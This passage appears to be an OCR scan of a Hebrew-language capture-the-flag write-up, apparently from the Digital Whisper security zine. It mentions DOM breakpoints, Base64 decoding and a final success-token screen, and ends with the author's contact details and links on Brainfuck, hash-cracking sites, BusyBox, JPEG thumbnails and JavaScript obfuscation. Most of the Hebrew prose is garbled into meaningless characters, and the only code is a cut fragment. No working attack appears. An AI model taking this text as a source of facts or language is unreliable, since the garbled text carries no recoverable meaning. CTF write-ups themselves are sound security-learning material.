DOM Breakpoints
v wTnNn N1'WU K77 D'U9MFON YNIN7 NN'RN VIINYT T XY 0'7In X' NDINNY D'RN 1NIR
i i

D7ynn7 no1n 1Y 7ax ,Base641 nno'on NX [Xd 0'RN NNIX LD (09,2 190n 7Nv) index.html

JNNRDI'YRYN ANRD 9107 UREN 1123 'K 1221 N 2¥nnn

:Base6411'7 712720 7y nyxani (7nnn voMpon 7apnnw) sickn DX 72727 Ny nye
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; i++) t += String.fro

llnro ....1

Success!

Well Done!

You have successfully finished all the challenges!

This is your final success token:

B e e e e e i
e A I e e e i S S S

please send your token and contact info to the following

A pleasure as always! Until next time...

J 'IDI 'Y NTNIY NN (12D DD NI7IY97 TN 2131 0'anit X7 11d NNIX N

FXol A

WATE TINND (120 D' ANKD (700 Dy 0NNk 2) 19701 vy X7 amin win g 7omnn nNanv 19
,(n'0'02 nn11) Reverse EngineeringVeb Application Securityjia> .o'minn nndi nnda yT
T'IN XY '9D NINDY7 TNRNN NXRIPN DNINIY DN IR TIVE NINYY NN L,n7u90 Nidyn

DANKD DX INSY

« 1.

NTN T ,(NANK? NIIYRIN NIYY 241 TIY 10173) 211p2 'Ynn DI IN9'7 'Mn''o ToInN NaNK NN
MOoIN DTR "INY X' DI'N 71 DONID MANKNY NT?7 NT'N'N N2'ON .0'K71 Jon MI7'Y 7 1N 12d

.'NXY DIONY |1AWN 7V Tomn 7w DrorI'an NX oNNY 'M'¥1 X7 Nl

NIPN IR N0 1197 MANKN NNINND NX D'N0N9NY D'WIX / NNAN DIY' [TV NI7a7 'MNdin
NIX 027 TOINT7 NWON'I DN7MD0N 72 NANKN DX 117 N'RY' DINKI 1770 D'WIRD NIKAN DIYAY

AN X7 DTY 2WIN IR L(DIYRIN 17 ANKD DR MDY 170 K7W 07X D2) NANKRN NIX IN7XYY N7X
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NI7Y? NNYWOKRN 0N7 N1201 NNINNSN DIOND 17Y) TOIMN NNIYY 0"ANNY I D'WIND '97D DA

N2'0 DIV 'R .NIFZ7 7¢ NITIO IX NINIT DON9) X7 NNIKY 1D ,N"j71 07w n'7npn 72v Nnw .(N"Ip

M0 197 CTERIrNNN 7w nnnno IX (A in ) nieT 197 0daynoloiw

7I'T NPTl 122 NITYA 2V ,NIINNKD D"NIWA TOINN MANK 7V INNAN NN MR 2Ndw d4d-7

LNOIN MNKNA D'MNIiNN

nYa nn'n X7 2016 mwaw qaiun 0T .TOIMN NANK 7Y MMXNN DX QMDY 1YY D'WIRn D7

miwpa 12 ' mwnl nivza 2 10 2017mwa NN

mu7nin DigitalWhispena nntw Write Upn NX D0o197 DN DA I¥XIW DN DY 79 AN'Y INKY

.NN2 7277 nianTrn 0NR? NN 1 wkan Write Upn Nk 2MDY7 nupa wiar X7 nkan mwaw

e |
.Open Sourcani F5 Networkshana y1n nnoax pein ;. RealGamg 1¢ 9 _x:
http://www.RealGame.co.ijlu;nva'x "nx 0
realgam3@agmail.con?'n'x o
https://github.com/realgam3:GitHub o
v X "X X FHS
1 https://he.wikipedia.org/wiki/Brainfuck
1 https://www.youtube.com/watch?v=D1&8rJrEk
1 https://hashkiller.co.uk/
1 http://md5decrypt.net/en/Sha512/
1 https://www.datacamp.com/community/tutorials/pythordictionary-comprehension
1 https://www.digitalwhisper.co.il/files/Zines/0x28/Digital\Whisper40.pdf
1 http:// www.ifm.net.nz/cookbooks/passwordcracker.html
1 https://en.wikipedia.org/wiki/BusyBox
1 https://thumbsviewer.github.io/
1 https://en.wikipedia.org/wiki/JPEG_File Interchange Format
1 https://www.digitalwhisper.co.il/files/Zines/0x38/DW5&-JSObfuscatim pdf
1 https://www.youtube.com/watch?v=IvPtIr8USS4
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